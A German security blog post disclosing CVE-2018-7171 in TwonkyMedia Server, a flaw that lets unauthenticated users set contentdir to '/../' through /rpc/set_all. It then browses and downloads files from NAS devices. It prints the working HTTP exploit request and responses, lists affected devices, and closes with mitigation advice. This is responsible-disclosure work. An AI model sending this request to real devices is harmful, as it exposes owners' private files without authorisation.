2018-06-04

Sharing Is Caring - Ein CVE-2018-7171 Round-up

Eine Englische Version befindet sich hier – English version is located right here

Wenn die Festplatte im Heimnetz die Urlaubsbilder mit dem Internet teilt

Dieser Blog-Eintrag behandelt die Schwachstelle CVE-2018-7171 im TwonkyMedia Server Versionen 7.0.11-8.5, welcher beispielsweise auf WD MyCloud-Geräten vorinstalliert ist. Diese ermöglicht das Auflisten aller auf den Geräten vorhandenen Dateien und Ordnern. Darüber hinaus ist es einem Angreifer nach dem Ausnützen der Schwachstelle möglich alle Mediendateien (Fotos, Videos und Musik) von den betroffenen Geräten und angeschlossener Peripherie (externe Festplatten, USB-Sticks, ...) herunterzuladen. Ursache für die Schwachstelle ist die fehlende Authorisierung und Eingabevalidierung beim Setzen der Konfigurationsparameter für den sogenannten TwonkyMedia Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Auszug TwonkyMedia Server

Wie der Aussage des Hertstellers entnommen werden kann, dient der TwonkyMedia Server der Indexierung und Wiedergabe von Mediendateien. Diese können im Netzwerk "gebeamt" werden, sprich andere Netzwerkteilnehmer können diese auch wiedergeben oder downloaden.

Der TwonkyMedia Server ist auf zahlreichen Geräten vorinstalliert. Darüber hinaus leiten eine vielzahl von Routern den DLNA-Medienstreaming-Port, in diesem Fall Port 9000, automatisch weiter, wodurch dieser vom Internet aus erreichbar ist. Nachforschungen auf shodan.io haben ergeben, dass im Januar 2018 rund 24'000 TwonkyMedia Server-Instanzen öffentlich erreichbar waren. Nur ein Bruchteil der Installationen, rund drei Prozent, waren durch einen unauthorisierten Zugriff mittels eines Passwortes geschützt.

Im folgenden eine Auflistung der Geräte auf denen TwonkyMedia Server identifiziert wurden:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

Um die Funktionsweise des TwonkyMedia Servers besser verstehen zu können, wurde der HTTP-Verkehr im Burp Suite mitverfolgt. Dabei wurde deutlich, dass in den Antworten des Webservers nicht nur die verfügbaren Ordner, sondern auch Dateien enthalten waren. Von der UI dargestellt wurden jedoch nur die Ordner.

Im folgenden HTTP-Verlauf wird eine solche Anfrage und die dazugehörige Antwort des TwonkyMedia Servers dargestellt.

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

Das vorherige Beispiel zeigt, dass bisher nur die Verzeichnisstruktur der im NAS als geteilte Ordner definierten Verzeichnisse eingesehen werden konnte. Darüber hinaus ist der Download aller indexierten Medieninhalte möglich (siehe TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

Eine HTTP Anfrage an die folgende Adresse lieferte eine Übersicht aller Konfigurationsparameter des TwonkyMedia Servers:

Diese sehr umfangreiche Liste enthielt einige Parameter, die nicht über den TwonkyMedia Webserver konfiguriert werden konnten. Was nun, wenn man diese Parameter dennoch manipuliert?

Setzt man den Parameter contentdir auf "/../" so ist es zukünftig möglich das Gesamte Dateisystem zu erkunden:

HTTP Anfrage:

POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

Das folgende Beispiel zeigt die Antwort nach dem Patch des Parameters contentdir:

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

Nachdem der Parameter contentdir gepatcht wurde, ist es nun möglich in der TwonkyMedia Server konfigurationsseite jeden beliebigen Ordner für die Indexierung der Medieninhalte anzugeben. Nachdem der TwonkyMedia Server die indexierung vorgenommen hat können die Dateien einfach heruntergeladen oder betrachtet werden.

Für das patchen des contentdir Parameters und das Erkunden des Dateisystemes kann dieser Proof-of-Concept verwendet werden.

Mit dem Ausnützen dieser Schwachstelle ist es Angreifern somit nicht nur möglich tief in die Privatsphäre Ihrer Ziele einzudringen, sondern sie kann auch genutzt werden um weitere Angriffstechniken zu unterstützen. Beispielsweise kann ein Angreifer auf interne Informationen anderer Webserver, die auf dem Gerät laufen zugreifen, die zur kompletten Übernahme des Gerätes führen können.

Sollten eines Ihrer Geräte einen TwonkyMedia Server Version 7.0.11-8.5 betreiben, sehen Sie alle Medieninhalte auf dem Gerät als nicht länger privat an. Sie können prüfen, ob ein TwonkyMedia Server läuft, indem sie die folgende URL in ihrem Webbrowser eingeben http://IpDesNAS:9000. Da der TwonkyMedia Server auch auf anderen Ports vorgefunden wurde hier eine Auflistung aller enumerierten TwonkyMedia Server ports: 9000, 9001, 9002, 9003, 9004 und 9005. Teilweise ist der TwonkyMedia Server nicht per HTTP sondern nur per HTTPS erreichbar. Hierfür als URL folgendes verwenden https://IpDesNAS:9002. "IpDesNAS" können Sie auch durch die öffentliche IP-Adresse Ihres Routers ersetzen. Um die öffentliche IP-Adresse Ihres Routers herauszufinden können sie Beispielsweise http://ipinfo.io/ip im Webbrowser öffnen.

modzero empfiehlt TwonkyMedia Server-installationen mit einem Passwort zu schützen oder das DLNA-Medienstreaming zu deaktivieren, falls dieses nicht benötigt wird.


Posted by Sven Fassbender | Permanent link